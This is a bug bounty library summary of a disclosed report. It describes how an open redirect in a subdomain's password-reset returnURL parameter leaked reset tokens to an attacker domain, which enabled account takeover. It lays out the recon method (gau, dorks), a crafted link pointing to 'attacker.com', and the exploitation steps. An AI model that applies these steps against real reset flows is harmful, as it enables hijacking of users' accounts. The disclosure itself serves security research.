# From Wayback Machine To Account Takeover

Open redirect in resetPassword returnURL leaked password reset tokens to attacker domain when victim opened link while logged in, enabling account takeover.

- Payout: $800
- Severity: high
- Program: -
- Credited: Demon
- Disclosed: 2021-04-25
- Write-up quality: 7/10
- Original: https://r29k.com/articles/bb/ato
- Library page: https://bugbountylibrary.com/r/blog%3Ar29k-com-articles-bb-ato
- Tags: domain:web impact:ato kind:bounty platform:blog sev:high technique:chained technique:incomplete-fix technique:recon vuln:account-takeover vuln:open-redirect

**Target:** Password reset flow (resetPassword/newPassword endpoints)
**Root cause:** The newPassword endpoint's returnURL parameter allowed open redirect, and when the victim was already logged in, the reset token was appended/leaked to the attacker-controlled redirect destination on first request per domain.
**Steps:**
1. Find open redirect in returnURL on main domain (patched), then gau/dork for same param on subdomains
2. Locate `https://sub.target.com/resetPassword?returnURL=`
3. Request reset with `returnURL=//attacker.com`; victim receives `https://sub.target.com/newPassword?token=xyz&returnURL=//attacker.com`
4. Victim opens link while logged in; redirected to attacker.com and token appears in server logs (only first time per domain)
5. Use leaked token to reset victim password and take over account
**How found:** Retesting a patched open redirect, sprayed returnURL param across subdomains via gau and Google dorks, found resetPassword endpoint; noticed unexpected token in logs on first redirect, hypothesized one-time-per-domain leak, confirmed with fresh hookbin endpoint.
**Exploitation:** Attacker crafts reset link with returnURL pointing to attacker domain, sends to victim; victim opens while authenticated, gets redirected and token leaks to attacker logs; attacker uses token to reset password.
**Escalation:** Chained patched open redirect recon (Wayback/gau/dorks) with token leak to escalate open redirect into full account takeover.
**Insight:** When retesting a patched redirect param, spray it across subdomains and dork for it on auth flows; test redirects while authenticated since logged-in state can cause sensitive tokens to be appended to the redirect target, and leaks may be one-time-per-domain so use fresh endpoints.